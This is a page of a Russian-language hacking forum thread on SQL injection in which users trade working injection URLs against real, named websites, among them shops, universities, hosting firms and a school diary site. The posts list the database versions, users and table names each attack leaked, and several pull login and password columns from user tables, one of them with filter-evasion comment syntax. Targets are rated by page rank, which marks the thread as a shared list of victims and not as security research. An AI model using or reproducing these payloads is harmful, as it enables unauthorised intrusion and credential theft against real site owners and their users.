SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Dr..VATSON

    Dr..VATSON Elder - Старейшина

    Joined:
    7 Dec 2008
    Messages:
    52
    Likes Received:
    53
    Reputations:
    18
    HTML:
    http://sbbrasil.com.br/php/paginas/site/jogador/verjogador.php?id=-19+union+select+1,2,3,4,5,version%28%29,7,8,9,10,11,12,13,14--
    5.0.91-community
     
  2. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    Какой-то шоп, PR-5
    Code:
    http://www.able.org/store/item-description.php?id=-5%27+union+select+1,2,3,4,5,6,7,8,version%28%29,10,11,12,13,14,15,16,17--+
    verion - 5.0.77
     
  3. Megwarez

    Megwarez Member

    Joined:
    7 May 2010
    Messages:
    33
    Likes Received:
    12
    Reputations:
    4
    http://www.iotma.ncku.edu.tw/new.php?id=-1+union+select+1,group_concat%280x0b,table_name%29,3,4+from+information_schema.tables+--

    5.0.45-community-nt
     
    2 people like this.
  4. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    http://www.product-key.com/product.php?id=-10+union+select+1,user(),3,4--
     
  5. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    Page Rank 6
    Yandex Тиц 10

     
    #13785 bloodAngel, 21 Apr 2011
    Last edited by a moderator: 21 Apr 2011
    3 people like this.
  6. ta-kyn

    ta-kyn Member

    Joined:
    7 May 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    2
    tao.cgu.org.tw

    [IP:140.112.65.138] [PR 5]
    HTML:
    http://tao.cgu.org.tw/index.php?id=%28892%29+and+%281%29=%282%29+union+select+1,2,3,4,5,6,7,8,USER%28%29,DATABASE%28%29,VERSION%28%29,12,13,14,15,16+--
    tao@localhost - tao - 5.0.51a-24
     
  7. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    4.0.18-standard-log

    version : 5.0.45
     
  8. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    Code:
    http://www.kisan.com.ua/g.php?id=-1+union+select+1,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,3--

    kisan:4.1.22-log:kisan@alpha
     
  9. genzome

    genzome New Member

    Joined:
    21 Apr 2011
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    http://www.trpbrakes.com/category.php?catid=-183+union+select+1,2,version%28%29,4,5,6--

    5.1.47-COMMUNITY-LOG
    PR4
     
    1 person likes this.
  10. genzome

    genzome New Member

    Joined:
    21 Apr 2011
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    http://www.thorshofn.is/category.php?catID=-17+union+select+1,2,version%28%29,4,5,6,7--

    4.0.18-standard-log
     
  11. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    Code:
    http://www.buktour.com.ua/plan.php?id=-3+union+select+1,2,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,4,5,6--
    buktour_bd2:5.0.92:buktour_uesre@localhost


    Code:
    http://www.buktour.com.ua/plan.php?id=-3+union+select+1,2,concat_ws%280x3a,login,password%29,4,5,6+from+auth--


    Code:
    http://autoportal.od.ua/?a=test_full&id=-77+union+select+1,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,3,4,5,6--
    auto_db:4.1.22-standard:auto_root@localhost
     
    #13791 Amoura, 23 Apr 2011
    Last edited: 23 Apr 2011
  12. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    skatelv@localhost 5.1.41-3ubuntu12.10

    Pr 5
    Тиц 10
     
  13. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    http://www.sci.nu.ac.th : PR - 5

    Уязвимый скрипт
    E:\wwwroot\sciweb\webboard\view.php

    Эксплойт
    Code:
    _http://www.sci.nu.ac.th/webboard/view.php?dep=bio&id=1+union+select+1,2,3,group_concat%28table_name%29,5,6,7+from+information_schema.tables+--+
    Тип БД :MySQL
    Версия БД: 5.1.37-1ubuntu5.1

    Имя ДБ: Weboard
    Имя пользователя: tanakornp@webdata_1000
     
  14. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    theperfectworld.us/: PR - 4

    Уязвимый скрипт
    /home/perfecto/perfectworldtoo.us/public_html/preflight/indexFunctions.php

    Эксплойт
    Code:
    _http://www.theperfectworld.us/thread.php?id=-1'+union+select+substring(group_concat(table_name),250),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+--+
    Тип БД :MySQL
    Версия БД: 5.1.53-log

    Имя ДБ: perfectdb
    Имя пользователя: [email protected]
     
    1 person likes this.
  15. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    Code:
    http://www.san-accessory.ru/productinfo.php?kod=1402.310+and+1=2+union+select+1,2,3,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,5,6,7,8,9,10,11,12,13,14--
    MIRMEX_PROMO1:5.1.37-1UBUNTU5.5-LOG:MIRMEX_PROMO1@LOCALHOST
     
  16. hide

    hide Member

    Joined:
    10 Apr 2011
    Messages:
    49
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://www.orientalstudies.ru/rus/index.php?option=com_personalities&Itemid=74&person=-11+OR+%28SELECT+COUNT%28*%29+FROM+%28SELECT+1+UNION+SELECT+2+UNION+SELECT+3%29x+GROUP+BY+CONCAT%28MID%28%28select+version%28%29+limit+0,1%29,1,63%29,FLOOR%28RAND%280%29*2%29%29%29+--+
    www.orientalstudies.ru
    version 5.0.37
    pr7 тиц375
     
  17. CodeSender:)

    CodeSender:) Elder - Старейшина

    Joined:
    29 Jul 2010
    Messages:
    245
    Likes Received:
    115
    Reputations:
    23
    Code:
    http://www.linorusso.ru/catalog.php?parent_id=&tov_id=952+union+select+1,concat_ws(0x3a,login,pass),3,4,5+from+opt_user--+
    [6.0.11-alpha-log]
    Code:
    http://www.pokupka.perm.ru/index.php?page=2&cat_sale=-20+UnIon+selECt+1,2,3,unhex(hex(version())),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--+
    [4.1.11-Debian_4sarge2-log 5]
    Code:
    http://www.intelstudy.ru/schools.php?so=showschool&s_id=216&ct_id=-40+UnIon+selECt+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18--+
    [5.0.67-percona-highperf-b7-log]
    Code:
    http://www.intour.ru/countries.php?country_id=-404+UnIon+selECt+1,2,3,4,5,6,7,8,9,10,uNhex%28hEx%28coNcaT_wS%280x3a,username,user_password%29%29%29+FroM+phpbb_users+LimiT+1,1+--+
     
    2 people like this.
  18. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Хостинги

    http://www.eswap.ca/host/mod.php?mod=faq&mode=show&faq_id=3/**//*!union*//**//*!select*//**/1,2,3,4,5,6,7,8,9,10,11,12,13,column_name,table_name,16/**//*!from*//**/information_schema.columns--+

    Массовый дамп в выводе =)

    http://www.glorihosting.com/info.php?id=-24%27+union+select+1,2,user%28%29,version%28%29,5,6,7--+



    Лучше бы мне нас**ли в утреннюю кашу! Баанк!!! (со Jay & silent Bob)
     
    #13798 Cennarios, 25 Apr 2011
    Last edited: 25 Apr 2011
    2 people like this.
  19. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    Code:
    http://nabazar.com.ua/?action=items&id=-11291+union+select+1,2,3,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
    nabazar_board:5.0.22:nabazar@localhost
     
    1 person likes this.
  20. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    [​IMG]
    PHP:
    http://1dnevnik.ru/schools/school.php?id=%28-83942%29union%28select%201,2,3,4,version%28%29%29
    Ломоем школьнегов
     
    3 people like this.
Thread Status:
Not open for further replies.